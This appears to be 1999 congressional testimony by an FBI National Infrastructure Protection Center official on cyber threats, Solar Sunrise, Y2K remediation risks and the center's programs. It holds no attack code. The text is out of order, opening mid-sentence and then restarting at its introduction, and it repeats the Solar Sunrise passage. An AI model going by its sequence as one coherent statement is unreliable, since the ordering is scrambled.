United States, during February and March 1998. The intrusions occurred
during the build-up of United States military personnel in the Persian
Gulf in response to tension with Iraq over United Nations weapons
inspections. The intruders penetrated at least 200 unclassified U.S.
military computer systems, including seven Air Force bases and four Navy
installations, Department of Energy National Laboratories, NASA sites, and
university sites. Agencies involved in the investigation included the
FBI, DoD, NASA, Defense Information Systems Agency, AFOSI, and the
Department of Justice.
The timing of the intrusions and links to some Internet Service Providers
in the Gulf region caused many to believe that Iraq was behind the
intrusions. The investigation, however, revealed that two juveniles in
Cloverdale, California and several individuals in Israel
were the
culprits. Solar Sunrise thus demonstrated to the interagency community
how difficult it is to identify an intruder until facts are gathered in
an investigation, and why assumptions cannot be made until sufficient
facts are available. It also vividly demonstrated the vulnerabilities that
exist in our networks; if these individuals were able to assume "root
access" to DoD systems, it is not difficult to imagine what hostile
adversaries with greater skills and resources would be able to do.
Finally, Solar Sunrise demonstrated the need for interagency coordination
by the NIPC.
Special Threat: Y2K Malicious Activity
The main concern with the Y2K rollover is, of course, the possibility of
widespread service outages caused by the millennium date problem in older
computer systems. The President's Y2K Council has done an excellent job
in helping the nation prepare for the
rollover event. Given our
overall mission under PDD 63, the NIPC's role with regard to Y2K will be
to maintain real-time awareness of intentional cyber threats or incidents
that might take place around the transition to 2000, disseminate warnings
to the appropriate government and private sector parties, and coordinate
the government's response to such incidents. We are not responsible for
dealing with system outages caused by the millennium bug. Because of the
possibility that there might be an increase in malicious activity around
January 1, 2000, we have formulated contingency plans both for NIPC
Headquarters and the FBI Field Offices.
We are presently augmenting our existing relationships and
information-sharing mechanisms with relevant entities in the federal
government, such as the Information Coordination Center (ICC), state and
local governments, private industry, and the CERT/FIRST
community.
Information will come to us from a variety of places, including FBI field
offices and Legal Attaches overseas, as well as the ICC. FBI field
offices are also tasked to establish Y2K plans for their regions of
responsibility. In essence, all of the activities that we will undertake
during the rollover period are ones we perform everyday. The difference
is that we will be prepared to conduct them at an increased tempo to deal
with any incidents occurring during the Y2K rollover.
There is one potential problem associated with Y2K that causes us special
concern -- the possibility that malicious actors, foreign or domestic,
could use the Y2K remediation process to install malicious code in the
"remediated" software. Thousands of
companies across the United
States and around the world are busy having their source code reviewed to
ensure that they are "Y2K compliant." Those who are doing the Y2K
remediation are almost always contractors who are given the status of a
trusted insider with broad authority to review and make changes to the
source code that runs information systems. These contractors could,
undetected, do any of the following to compromise systems:
Install Trap Doors: By installing trap doors, intruders can later
gain access to a system through an opening that they have created
and then exploit or attack the system
Obtain "Root
Access": Given their level of access, remediation companies can gain
the same extensive privileges as the system administrator, allowing
them to steal or alter information or engage in a "denial of
service" attack on the system. Implant Malicious Code: By implanting
malicious code, someone could place a logic bomb or a time-delayed
virus in a system that will later disrupt it. A malicious actor
could also implant a program to compromise passwords or other
aspects of system security. Map Systems: By mapping systems as a
trusted insider, a contractor can gain valuable information to sell
to economic competitors or even foreign intelligence agencies.
Systems can be compromised for any number of purposes, including foreign
intelligence activities, information warfare, industrial espionage,
terrorism, or organized crime. And since any vulnerabilities that are
implanted will persist as long as the software is in
place, this is
a problem that will last well beyond January 1, 2000. Companies and
government agencies therefore need to determine how they will deal with
this potential "Post-Y2K problem" on their critical systems.
We have little concrete evidence so far of vendors' planting malicious
code during remediation. But the threat is such that companies should
take every precaution possible. Of course, checking the remediation work
to make sure that no malicious code was
implanted in a system is no
easy matter. If reviewing the millions of lines of code at issue were
simple, there would be little need for Y2K contractors in the first
place. Nevertheless, given the vulnerabilities that could be implanted in
critical systems, it is imperative that the client companies do as much as
possible to check the background of the companies doing their remediation
work, oversee the remediation process closely, and review new code as
closely as possible and remove any extraneous code. Further, companies
should test for trap doors and other known vulnerabilities to cracking.
Companies can also use "red teams" to try to crack the software and
further determine if trap doors exist.
Status of the NIPC
The NIPC is an interagency Center located at the FBI. Created in 1998,
the NIPC serves as the focal point for the government's efforts to warn
of and respond to cyber intrusions. In PDD-63, the President directed
that the NIPC "serve as a national critical
infrastructure threat
assessment, warning, vulnerability, and law enforcement investigation and
response entity." The PDD further states that the mission of the NIPC
"will include providing timely warnings of intentional threats,
comprehensive analyses and law enforcement investigation and response."
Thus, the PDD places the NIPC at the core of the government's warning,
investigation, and response system for threats to, or attacks on, the
nation's critical infrastructures. The NIPC is the focal point for
gathering information on threats to the infrastructures as
well as
"facilitating and coordinating the Federal Government's response to an
incident." The PDD further specifies that the NIPC should include
"elements responsible for warning, analysis, computer investigation,
coordinating emergency response, training, outreach, and development and
application of technical tools."
The NIPC has a vital role in collecting and disseminating information
from all relevant sources. The PDD directs the NIPC to "sanitize law
enforcement and intelligence information for inclusion into analyses and
reports that it will provide, in appropriate form, to
relevant
federal, state, and local agencies; the relevant owners and operators of
critical infrastructures; and to any private sector information sharing
and analysis entity." The NIPC is also charged with issuing "attack
warnings or alerts to increases in threat condition to any private sector
information sharing and analysis entity and to the owners and operators."
In order to perform its role, the NIPC is continuing to establish a
network of relationships with a wide range of entities in both the
government and the private sector. The PDD provides for this in several
ways. First, it states that the Center will "include
representatives
from the FBI, U.S. Secret Service, and other investigators experienced in
computer crimes and infrastructure protection, as well as representatives
detailed from the Department of Defense, Intelligence Community and Lead
Agencies.1 Second, pursuant to the PDD, the NIPC has electronic links to
the rest of the government in order to facilitate the sharing of
information and the timely issuance of warnings. Third, the PDD directs
all executive departments and agencies to "share with the NIPC information
about threats and warning of attacks and actual attacks on critical
government and private sector infrastructures, to the extent permitted by
law." By bringing other agencies directly into the Center and building
direct communication linkages, the Center provides a means of coordinating
the government's cyber expertise and ensuring full sharing of
information, consistent with applicable laws and regulations.
To accomplish its goals under the PDD, the NIPC is organized into three
sections:
1) The Computer Investigations and Operations Section (CIOS) is the
operational and response arm of the Center. It program manages computer
intrusion investigations conducted by FBI Field Offices throughout the
country; provides subject matter experts,
equipment, and technical
support to cyber investigators in federal, state, and local government
agencies involved in critical infrastructure protection; and provides a
cyber emergency response capability to help resolve a cyber incident.
2) The Analysis and Warning Section (AWS) serves as the "indications and
warning" arm of the NIPC. The AWS reviews numerous government and private
sector databases, media, and other sources daily to disseminate
information that is relevant to any
aspect of NIPC's mission,
including the gathering of indications of a possible attack. It provides
analytical support during computer intrusion investigations, performs
analyses of infrastructure risks and threat trends, and produces current
analytic products for the national security and law enforcement
communities, the owners-operators of the critical infrastructures, and
the computer network managers who protect their systems. It also
distributes tactical warnings, alerts, and advisories to all the relevant
partners, informing them of exploited vulnerabilities and threats.
3) The Training, Outreach and Strategy Section (TOSS) coordinates the
training and continuing education of cyber investigators within the FBI
Field Offices and other federal, state and local law enforcement
agencies. It also coordinates our liaison with private
sector
companies, state and local governments, other government agencies, and
the FBI's Field Offices. In addition, this section manages our collection
and cataloguing of information concerning "key assets" -- i.e., critical
individual components within each infrastructure sector, such as specific
power grids, telecommunications switch nodes, or financial systems --
across the country.
To facilitate our ability to investigate and respond to attacks, the FBI
has created the National Infrastructure Protection and Computer Intrusion
(NIPCI) Program in the 56 FBI Field Offices across the country. Under
this program, managed by the NIPC at
FBIHQ, "NIPCI" squads
consisting of at least seven agents have been created in 10 Field
Offices: Washington D.C., New York, San Francisco, Chicago, Dallas, Los
Angeles, Atlanta, Charlotte, Boston, and Seattle. For FY 2000, we intend
to reallocate our existing field agent compliment to create six additional
squads in Baltimore, Houston, Miami, Newark, New Orleans, and San Diego.
Because of resource constraints, the other field offices have only 1 - 5
agents dedicated to working NIPCIP matters.
The NIPC's mission clearly requires the involvement and expertise of many
agencies other than the FBI. This is why the NIPC, though housed at the
FBI, is an interagency center that brings together personnel from all the
relevant agencies. In addition to our 79
FBI employees, the NIPC
currently has 28 representatives from: DoD (including the military
services and component agencies), the CIA, DOE, NASA, the State
Department as well as federal law enforcement, including the U.S. Secret
Service, the U.S. Postal Service and, until recently, the Oregon State
Police. The NIPC is in the process of seeking additional representatives
from State and local law enforcement.
But clearly we cannot rely on government personnel alone. Much of the
technical expertise needed for our mission resides in the private sector.
Accordingly, we rely on contractors to provide technical and other
assistance. We are also in the process of
arranging for private
sector representatives to serve in the Center full time. In particular,
the Attorney General and the Information Technology Association of
America (ITAA) announced in April that the ITAA would detail personnel to
the NIPC as part of a "Cybercitizens Partnership" between the government
and the information technology (IT) industry. Information technology
industry representatives serving in the NIPC would enhance our technical
expertise and our understanding of the information and communications
infrastructure.
NIPC Activities
The NIPC's operations can be divided into three categories: protection,
detection, and response.
Protection
Our role in protecting infrastructures against cyber intrusions is not to
advise the private sector on what hardware or software to use or to act
as their systems administrator. Rather, our role is to provide
information about threats, ongoing incidents, and exploited
vulnerabilities so that government and private sector system
administrators can take the appropriate protective measures. The NIPC is
developing a variety of products to inform the private sector and other
government agencies of threats, including: warnings, alerts, and
advisories; the Infrastructure Protection Digest; Critical Infrastructure
Developments; CyberNotes; and topical electronic reports. These products
are designed for tiered distribution to both government and private
sector entities consistent with applicable law and the need to protect
intelligence sources and methods, and law enforcement investigations. For
example, the Infrastructure Protection Digest is a quarterly publication
providing analyses and information on critical infrastructure issues. The
Digest provides analytical insights into major trends and events
affecting the nation's critical infrastructures. It is usually published
in both classified and unclassified formats and reaches national security
and civilian government agency officials as well as infrastructure owners.
Critical Infrastructure Developments is distributed bi-weekly to private
sector entities. It contains analyses of recent trends, incidents, or
events concerning critical infrastructure protection. CyberNotes is
another NIPC publication designed to provide security and information
system professionals with timely information on cyber vulnerabilities,
hacker exploit scripts, hacker trends, virus information, and critical
infrastructure-related best practices. It is published twice a month on
our website and disseminated in hard copy to government and private sector
audiences.
The NIPC, in conjunction with the private sector, has also developed an
initiative called "InfraGard" to expand direct contacts with the private
sector infrastructure owners and operators and to share information about
cyber intrusions and exploited
vulnerabilities, with the goal of
increasing protection of critical infrastructures. The initiative
encourages the exchange of information by government and private sector
members through the formation of local InfraGard chapters within the
jurisdiction of each of the 56 FBI Field Offices. The initiative includes
an intrusion alert network using encrypted e-mail, a secure website and
local chapter activities. A critical component of InfraGard is the
ability of industry to provide information on intrusions to the NIPC and
the local FBI Field Office using secure communications in both a detailed
and a "sanitized" format. The local FBI Field Offices can, if
appropriate, use the detailed version to initiate an investigation, while
the NIPC can analyze that information in conjunction with law enforcement,
intelligence, open source, or other industry information to determine if
the intrusion is part of a broader attack on numerous sites. The NIPC can
simultaneously use the sanitized version to inform other members of the
intrusion without compromising the confidentiality of the reporting
company. InfraGard also provides us with a regular, secure method of
providing additional security related to information to the private
sector based on information we obtained from law enforcement
investigations and other sources. InfraGard has recently been expanded to
a total of 21 FBI Field Offices. The program will be expanded to the rest
of the country later this year.
Under PDD-63, the NIPC also serves as the U.S. government's "Lead Agency"
for the Emergency Law Enforcement Services Sector. As Sector Liaison for
law enforcement, the NIPC and a "Sector Coordinator" committee
representing state and local law
enforcement are formulating a plan
to reduce the vulnerabilities of state and local law enforcement to cyber
attack and are developing methods and procedures to share information
within the sector. The NIPC and the FBI Field Offices are also working
with the State and local law enforcement agencies to raise awareness with
regard to vulnerabilities in this sector.
Detection
Given the ubiquitous vulnerabilities in existing Commercial Off-the-Shelf
(COTS) software, intrusions into critical systems are inevitable for the
foreseeable future. Thus, detection of these intrusions is critical if
the U.S. Government and critical infrastructure
owners and operators
are going to be able to respond. To improve our detection capabilities,
we first need to ensure that we are fully collecting, sharing, and
analyzing all extant information from all relevant sources. It is often
the case that intrusions can be discerned simply by collecting bits of
information from various sources; conversely, if we don't collate these
pieces of information for analysis, we might not detect the intrusions at
all. Thus the NIPC's role in collecting information from all sources and
performing analysis in itself aids the role of detection.
The NIPC is currently concentrating on developing and implementing
reliable mechanisms for receiving, processing, analyzing and storing
information provided by government and private sector entities. This
information is being used by NIPC analysts to develop
tactical and
strategic warning indicators of cyber threats and attacks. The NIPC and
North American Energy Reliability Council (NERC) have established an
industry-based Electric Power Working Group to develop tactical warning
indicators and information sharing procedures for the electric power
sector. The NIPC also has developed mechanisms to share cyber incident
information with both government agencies and private companies in the
telecommunications sector. In the long-term, our indications and warning
efforts will require participation by the Intelligence Community, DoD,
the sector lead agencies, other government agencies, federal, State and
local law enforcement, and the private sector owners and operators of the
infrastructures.
Another initiative that will aid in the detection of network intrusions
is the "Federal Intrusion Detection Network" ("FIDNet"), a National
Security Council initiative that would be managed by the General Services
Administration. Many agencies already have their
own intrusion
detection systems. FIDNet will enhance agencies' cyber security by
linking their intrusion detection systems together so that suspicious
patterns of activity can be detected and alerts issued across agencies.
The goal of FIDNet is to detect intrusions in the federal civilian
agencies' critical computer systems. (Contrary to recent press reports,
FIDNet will not extend to private sector systems.) To do this, critical
network event data will be captured and analyzed so that patterns can be
established and, in the event of an attack, warnings issued. FIDNet will
be the civilian agency counterpart for the automated detection system
currently deployed across Department of Defense systems. FIDNet, under
current plans, will consist of the following: sensors at key network
nodes; a centrally managed GSA facility, the Federal Intrusion Detection
Analysis Center (FIDAC), to analyze the technical data from the nodes;
and secure storage and dissemination of collected information. The NIPC
will receive reports from the FIDAC when there is evidence of a possible
federal crime (such as a violation of 18 U.S.C §1030). Using all-source
information, the Center would then analyze intrusions and other
significant incidents to implement response efforts and support and
inform national security decision-makers. FIDNet-derived information would
also be combined with all-source reporting available to the NIPC to
produce analysis and warning products which will be distributed to
government, private sector companies, and the public, as appropriate.
Response
The NIPC's and the FBI's role in response principally consists of
investigating intrusions to identify the responsible party and issuing
warnings to affected entities so that they can take appropriate
protective steps. As discussed earlier, in the cyber world,
determining what is happening during a suspected intrusion is difficult,
particularly in the early stages. An incident could be a system probe to
find vulnerabilities or entry points, an intrusion to steal or alter data
or plant sniffers or malicious code, or an attack to disrupt or deny
service. The cyber crime scene is totally different from a crime scene in
the physical world in that it is dynamic -- it grows, contracts, and can
change shape. Determining whether an intrusion is even occurring can
often be difficult in the cyber world, and usually a determination cannot
be made until after an investigation is initiated. In the physical world,
by contrast, one can see instantly if a building has been bombed or an
airliner brought down.
Further, the tools used to perpetrate a cyber terrorist attack can be the
same ones used for other cyber intrusions (simple hacking, foreign
intelligence gathering, organized crime activity to steal data, etc.),
making identification and attribution more difficult. The
perpetrators could be teenagers, criminal hackers, electronic protestors,
terrorists, foreign intelligence services, or foreign military. In order
to attribute an attack, FBI Field Offices can gather information from
within the United Sates using either criminal investigative or foreign
counter-intelligence authorities, depending on the circumstances. This
information is necessary not only to identify the perpetrator but also to
determine the size and nature of the intrusion: how many systems are
affected, what techniques are being used, and what the purpose of the
intrusions is--disruption, espionage, theft of money, etc.
Relevant information also could come from the U.S. Intelligence Community
(if the attack is from a foreign source), other U.S. government agency
information, state and local law enforcement, private sector contacts,
the media, other open sources, or foreign
law enforcement contacts.
The NIPC's role is to coordinate and collect this information.
On the warning side, if we determine an intrusion is imminent or
underway, the Watch and Warning Unit is responsible for formulating
warnings, alerts, or advisories and quickly disseminating them to all
appropriate parties. If we determine an attack is underway,
we can
issue warnings using an array of mechanisms, and send out sanitized and
unsanitized warnings to the appropriate parties in the government and the
private sector so they can take immediate protective steps. The Center
has issued 22 warnings, alerts, or advisories between January 4 and
September 22, 1999.
Two other NIPC initiatives are directed to improving our response
capabilities. First, to respond appropriately, our field investigators
need the proper training. Training FBI and other agencies' investigators
is critical if we hope to keep pace with the rapidly
changing
technology and be able to respond quickly and effectively to computer
intrusions. The NIPC has been very active in training. These training
efforts will help keep us at the cutting edge of law enforcement and
national security in the 21st Century. The Center provided training to 314
attendees in FY 1998. In FY 99, over 383 FBI Agents, state and local law
enforcement representatives, and representatives from other government
agencies have taken FBI-sponsored courses on computer intrusions and
network analysis, the workings of the energy and telecommunications key
assets, and other relevant topics.
Second, our Key Asset Initiative (KAI) facilitates response to threats
and intrusion incidents by building liaison and communication links with
the owners and operators of individual companies in the critical
infrastructure sectors and enabling contingency planning.
The KAI
began in the 1980s and focused on physical vulnerabilities to terrorism.
Under the NIPC, the KAI has been reinvigorated and expanded to focus on
cyber vulnerabilities as well. The KAI initially will involve determining
which assets are key within the jurisdiction of each FBI Field Office and
obtaining 24-hour points of contact at each asset in cases of emergency.
Eventually, if future resources permit, the initiative will include the
development of contingency plans to respond to attacks on each asset,
exercises to test response plans, and modeling to determine the effects of
an attack on particular assets. FBI Field Offices will be responsible for
developing a list of the assets within their respective jurisdictions,
while the NIPC will maintain the national database. The KAI is being
developed in coordination with DOD and other agencies.
Conclusion
While the NIPC has accomplished much over the last year in building the
first national-level operational capability to respond to cyber
intrusions, much work remains. We have learned from cases that successful
network investigation is highly dependent on
expert investigators
and analysts, with state of the art equipment and training. We have begun
to build that capability both in the FBI Field Offices and at NIPC
Headquarters, but we have much work ahead if we are to build our
resources and capability to keep pace with the changing technology and
growing threat environment and be capable of responding to several major
incidents at once.
We have also demonstrated how much can be accomplished when agencies work
together, share information, and coordinate their activities as much as
legally permissible. But on this score, too, more can be done to achieve
the interagency and public-private
partnerships called for by PDD-
63. We need to ensure that all relevant agencies are sharing information
about threats and incidents with the NIPC and devoting personnel and
other resources to the Center so that we can continue to build a truly
interagency, "national" center. Finally, we must work with Congress to
make sure that policy makers understand the threats we face in the
Information Age and what measures are necessary to secure our Nation
against them. I look forward to working with the Members and Staff of this
Committee to address these vitally important issues.
Thank you.
1 The Lead Agencies are: Commerce for information and communications;
Treasury for banking and finance; EPA for water supply; Transportation
for aviation, highways, mass transit, pipelines, rail, and waterborne
commerce; Justice/FBI for emergency law
enforcement services;
Federal Emergency Management Agency for emergency fire service and
continuity of government; Health and Human Services for public health
services. The Lead Agencies for special functions are: State for foreign
affairs, CIA for intelligence, Defense for national defense, and
Justice/FBI for law enforcement and internal security. The NIPC is
performing the lead agency and special functions roles specified for
"Justice/FBI" in the PDD.
Introduction
Mr. Chairman, Senator Feinstein, and Members of the Committee: Thank you
for inviting me here today to discuss critical infrastructure protection
issues. Mr. Chairman, you and this committee have been leaders in
recognizing the importance of these issues and
the urgency of
addressing the new threats to our national security in the Information
Age, and I welcome this opportunity to share our perspectives with you
today. As you know, the Federal Government is developing its capabilities
for dealing with threats to our nation's infrastructures. Presidential
Decision Directive-63 set in motion an unprecedented effort to protect
our nation's critical infrastructures, which the PDD defined as "those
physical and cyber-based systems essential to the minimum operations of
the economy and government." Critical infrastructures include
telecommunications, energy, banking and finance, transportation, water
systems, and emergency services, both public and private. The PDD
formally designated the National Infrastructure Protection Center (NIPC)
to have a central operational role in the government's effort. The Center
works closely with the National Coordinator for Security, Infrastructure
Protection, and Counter-terrorism; the Department of Defense (DoD); the
U.S. Intelligence Community (USIC); other federal agencies; and the
private sector to protect our critical infrastructures. My statement will
cover the spectrum of threats we are facing and the status of the NIPC
and its activities.
Spectrum of Threats
The news media is filled with examples of intrusions into government and
private sector computer networks. Politically motivated hackers have been
attacking numerous U.S. Government websites, including the Senate's.
Deputy Secretary of Defense John
Hamre reported in February that DoD
is "detecting 80 to 100 [potential hacking] events daily." We have had
several damaging computer viruses this year, including the Melissa Macro
Virus, the Explore.Zip Worm, and the CIH (Chernobyl) Virus. Computer
Economics, Inc., a California firm, estimates that damage in the first
two quarters of 1999 from viruses has topped $7 billion. The FBI's case
load for computer hacking and network intrusion cases has doubled each of
the last two years. Currently we have over 800 pending investigations. In
its 1999 survey, the Computer Security Institute estimated the total
financial losses by the 163 businesses it surveyed from computer security
breaches at $123.7 million. This includes everything from theft of
proprietary data to denial of service on networks. E-commerce has become
so important that firms, including Sedgwick Group PLC (in cooperation
with IBM), Lloyds of London, and Network Risk Management Services, are
now offering "hacker insurance."
Sensitive Intrusions
In the past few years we have seen a series of intrusions into numerous
Department of Defense computer networks as well as networks of other
federal agencies, universities, and private sector entities. Intruders
have successfully accessed U.S. Government
networks and took large
amounts of unclassified but sensitive information. In investigating these
cases, the NIPC has been coordinating with FBI Field Offices, the
Department of Defense, and other government agencies, as circumstances
require. But it is important that the Congress and the American public
understand the very real threat that we are facing in the cyber realm,
not just in the future, but now.
Information Warfare
Perhaps the greatest potential threat to our national security is the
prospect of "information warfare" by foreign militaries against our
critical infrastructures. We know that several foreign nations are
already developing information warfare doctrine, programs, and
capabilities for use against each other and the United States or other
other nations. Foreign nations are developing information
warfare programs because they see that they cannot defeat the United
States in a head-to-head military encounter and they believe that
information operations are a way to strike at what they perceive as
America's Achilles Heel -- our reliance on information technology to
control critical government and private sector systems. For example, two
Chinese military officers recently published a book that called for the
use of unconventional measures, including the propagation of computer
viruses, to counterbalance the military power of the United States. In
addition, during the recent conflict in Yugoslavia, hackers sympathetic
to Serbia electronically "ping" attacked NATO web servers. And Russian as
well as other individuals supporting the Serbs attacked websites in NATO
countries, including the United States, using virus-infected e-mail and
hacking attempts. Over 100 entities in the United States received these
e-mails. Several British organizations lost files and databases. These
attacks did not cause any disruption of the military effort, and the
attacked entities quickly recovered. But such attacks are portents of
much more serious attacks that we can expect foreign adversaries to
attempt in future conflicts.
Foreign intelligence services
Foreign intelligence services have adapted to using cyber tools as part
of their information gathering and espionage tradecraft. In a case dubbed
"the Cuckoo's Egg," between 1986 and 1989 a ring of West German hackers
penetrated numerous military,
scientific, and industry computers in
the United States, Western Europe, and Japan, stealing passwords,
programs, and other information which they sold to the Soviet KGB.
Significantly, this was over a decade ago -- ancient history in Internet
years. While I cannot go into specifics about the situation today in an
open hearing, it is clear that foreign intelligence services increasingly
view computer intrusions as a useful tool for acquiring sensitive U.S.
government and private sector information.
Terrorists
Terrorists are known to use information technology and the Internet to
formulate plans, raise funds, spread propaganda, and to communicate
securely. For example, convicted terrorist Ramzi Yousef, the mastermind
of the World Trade Center bombing, stored
detailed plans to destroy
United States airliners on encrypted files on his laptop computer.
Moreover, some groups have already used cyber attacks to inflict damage
on their enemies' information systems. For example, a group calling
itself the Internet Black Tigers conducted a successful "denial of
service" attack on servers of Sri Lankan government embassies. Italian
sympathizers of the Mexican Zapatista rebels attacked web pages of
Mexican financial institutions. And a Canadian government report
indicates that the Irish Republican Army has considered the use of
information operations against British interests. We are also concerned
that Aum Shinrikyo, which launched the deadly Sarin gas attack in the
Tokyo subway system, could use its growing expertise in computer
manufacturing and Internet technology to develop "cyber terrorism"
weapons for use against Japanese and U.S. interests. Thus while we have
yet to see a significant instance of "cyber terrorism" with widespread
disruption of critical infrastructures, all of these facts portend the use
of cyber attacks by terrorists to cause pain to targeted governments or
civilian populations by disrupting critical systems.
Criminal Groups
We are also beginning to see the increased use of cyber intrusions by
criminal groups who attack systems for purposes of monetary gain. For
example, in 1994 the U.S. Secret Service uncovered a $50 million phone
card scam that abused the accounts of
AT&T, MCI, and Sprint
customers. In addition, in 1994-95 an organized crime group headquartered
in St. Petersburg, Russia, transferred $10.4 million from Citibank into
accounts all over the world. After surveillance and investigation by the
FBI's New York field office, all but $400,000 of the funds were recovered.
In another case, Carlos Felipe Salgado, Jr. gained unauthorized access to
several Internet Service Providers in California and stole 100,000 credit
card numbers with a combined limit of over $1 billion. The FBI arrested
him in the San Francisco International Airport when he tried to sell the
credit card numbers to a cooperating witness for $260,000. With the
expansion of electronic commerce, we expect to see an increase in hacking
by organized crime as the new frontier for large-scale theft.
Just two weeks ago, two members of a group dubbed the "Phonemasters" were
sentenced after their conviction for theft and possession of unauthorized
access devices (18 USC §1029) and unauthorized access to a federal
interest computer (18 USC §1030).
The "Phonemasters" are an
international group of criminals who penetrated the computer systems of
MCI, Sprint, AT&T, Equifax, and even the FBI's National Crime Information
Center (NCIC). Under judicially approved electronic surveillance orders,
the FBI's Dallas Field Office made use of new data intercept technology to
monitor the calling activity and modem pulses of one of the suspects,
Calvin Cantrell. Mr. Cantrell downloaded thousands of Sprint calling card
numbers, which he sold to a Canadian individual, who passed them on to
someone in Ohio. These numbers made their way to an individual in
Switzerland and eventually ended up in the hands of organized crime
groups in Italy. Mr. Cantrell was sentenced to two years as a result of
his guilty plea, while one of his associates, Cory Lindsay, was sentenced
to 41 months.
The "Phonemasters" activities should serve as a wake up call for
corporate security. Their methods included "dumpster diving" to gather
old phone books and technical manuals for systems. They then used this
information to trick employees into giving up their
logon and
password information. The group then used this information to break into
victim systems. It is important to remember that often "cyber crimes" are
facilitated by old fashioned guile, such as calling employees and
tricking them into giving up passwords. Good "cyber security" practices
must therefore address personnel security and "social engineering" in
addition to instituting electronic security measures.
Virus Writers
Virus writers are posing an increasingly serious threat to networks and
systems worldwide. As noted above, we have had several damaging computer
viruses this year, including the Melissa Macro Virus, the Explore.Zip
worm, and the CIH (Chernobyl) Virus.
The NIPC frequently sends out
warnings regarding particularly dangerous viruses.
Earlier this year, we reacted quickly to the spread of the Melissa Macro
Virus. While there are dozens of viruses released every day, the speedy
propagation of Melissa and its effects on networks caused us great
concern. Within hours of learning about the virus
on Friday, March
26, 1999, we had coordinated with key cyber response components of DoD
and the Computer Emergency Response Team (CERT) at Carnegie-Mellon
University. Our Watch operation went into 24-hour posture and sent out
warning messages to federal agencies, state and local law enforcement, FBI
Field Offices, and the private sector. Because the virus affected systems
throughout the public, we also took the unusual step of issuing a public
warning through the FBI's Public Affairs Office and on our website. These
steps helped mitigate the damage by alerting computer users of the virus
and of protective steps they could take.
On the investigative side, the NIPC acted as a central point of contact
for the Field Offices who worked leads on the case. A tip received by the
New Jersey State Police from America Online, and their follow-up
investigation with the FBI's Newark Field
Office, led to the April
1, 1999 arrest of David L. Smith. Search warrants were executed in New
Jersey by the New Jersey State Police and FBI Special Agents from the
Newark Field Office.
Just in the last few weeks we have seen reports on the Suppl Word Macro
virus, the toadie.exe virus, and the W97M/Thurs.A (or Thursday) virus.
This last virus has already infected over 5,000 machines, according to
news reports, and deletes files on victim's
hard drives. The payload
of the virus is triggered on 12-13 and disables the macro virus
protection in Word 97. We are also concerned with the propagation of a
Trojan Horse called Back Orifice 2000, which allows malicious actors to
monitor or tamper with computers undetected by the users.
Virus writers are not often broken out as a threat category, and yet they
often do more damage to networks than hackers do. The prevalence of
computer viruses reminds us that we all have to be very careful about the
attachments we open and we all must be
sure to keep our anti-virus
software up-to-date.
Hactivism
Recently we have seen a rise in what has been dubbed "hacktivism"--
politically motivated attacks on publicly accessible web pages or e-mail
servers. These groups and individuals overload e-mail servers and hack
into web sites to send a political message.
While these attacks
generally have not altered operating systems or networks, they still
damage services and deny the public access to websites containing
valuable information and infringe on others' right to communicate. One
such group is called the "Electronic Disturbance Theater," which promotes
civil disobedience on-line in support of its political agenda regarding
the Zapatista movement in Mexico and other issues. This past spring they
called for worldwide electronic civil disobedience and have taken what
they term "protest actions" against White House and Department of Defense
servers. Supporters of Kevin Mitnick, recently convicted of numerous
computer security offenses, hacked into the Senate webpage and defaced it
in May and June of this past year. The Internet has enabled new forms of
political gathering and information sharing for those who want to advance
social causes; that is good for our democracy. But illegal activities
that disrupt e-mail servers, deface web-sites, and prevent the public
from accessing information on U.S. government and private sector web sites
should be regarded as criminal acts that deny others their First
Amendment rights to communicate rather than as an acceptable form of
protest.
"Recreational" Hackers
Virtually every day we see a report about "recreational hackers," or
"crackers," who crack into networks for the thrill of the challenge or
for bragging rights in the hacker community. While remote cracking once
required a fair amount of skill or computer
knowledge, the
recreational hacker can now download attack scripts and protocols from
the World Wide Web and launch them against victim sites. Thus while
attack tools have become more sophisticated, they have also become easier
to use.
These types of hacks are very numerous and may appear on their face to be
benign. But they can have serious consequences. A well-known example of
this involved a juvenile who hacked into the NYNEX (now Bell Atlantic)
telephone system that serviced the
Worcester, Massachusetts area
using his personal computer and modem. The hacker shut down telephone
service to 600 customers in the local community. The resulting disruption
affected all local police and fire 911 services as well as the ability of
incoming aircraft to activate the runway lights at the Worcester airport.
Telephone service was out at the airport tower for six hours. The U.S.
Secret Service investigation of this case also brought to light a
vulnerability in 22,000 telephone switches nationwide that could be taken
down with four keystrokes. Because he was a juvenile, however, the hacker
was sentenced to only two years probation and 250 hours of community
service, and was forced to forfeit the computer equipment used to hack
into the phone system and reimburse the phone company for $5,000. This
case demonstrated that an attack against our critical communications hubs
can have cascading effects on several infrastructures. In this case,
transportation, emergency services, and telecommunications were disrupted.
It also showed that widespread disruption could be caused by a single
person from his or her home computer.
Insider Threat
The disgruntled insider is a principal source of computer crimes.
Insiders do not need a great deal of knowledge about computer intrusions,
because their knowledge of victim systems often allows them to gain
unrestricted access to cause damage to the system
or to steal system
data. The 1999 Computer Security Institute/FBI report notes that 55% of
respondents reported malicious activity by insiders.
There are many cases in the public domain involving disgruntled insiders.
For example, Shakuntla Devi Singla used her insider knowledge and another
employee's password and logon identification to delete data from a U.S.
Coast Guard personnel database
system. It took 115 agency employees
over 1800 hours to recover and reenter the lost data. Ms. Singla was
convicted and sentenced to five months in prison, five months home
detention, and ordered to pay $35,000 in restitution.
In another case, a former Forbes employee named George Parente hacked got
into Forbes systems using another employee's password and login
identification and crashed over half of Forbes' computer network servers
and erased all of the data on each of the
crashed services. The data
could not be restored. The losses to Forbes were reportedly over
$100,000.
Identifying the Intruder
One major difficulty that distinguishes cyber threats from physical
threats is determining who is attacking your system, why, how, and from
where. This difficulty stems from the ease with which individuals can
hide or disguise their tracks by manipulating logs and
directing
their attacks through networks in many countries before hitting their
ultimate target. The now well know "Solar Sunrise" case illustrates this
point. Solar Sunrise was a multi-agency investigation (which occurred
while the NIPC was being established) of intrusions into more than 500
military, civilian government, and private sector computer systems in the
United States, during February and March 1998. The intrusions occurred
during the build-up of United States military personnel in the Persian
Gulf in response to tension with Iraq over United Nations weapons
inspections. The intruders penetrated at least 200 unclassified U.S.
military computer systems, including seven Air Force bases and four Navy
installations, Department of Energy National Laboratories, NASA sites, and
university sites. Agencies involved in the investigation included the
FBI, DoD, NASA, Defense Information Systems Agency, AFOSI, and the
Department of Justice.
The timing of the intrusions and links to some Internet Service Providers
in the Gulf region caused many to believe that Iraq was behind the
intrusions. The investigation, however, revealed that two juveniles in
Cloverdale, California and several individuals in Israel
were the
culprits. Solar Sunrise thus demonstrated to the interagency community
how difficult it is to identify an intruder until facts are gathered in
an investigation, and why assumptions cannot be made until sufficient
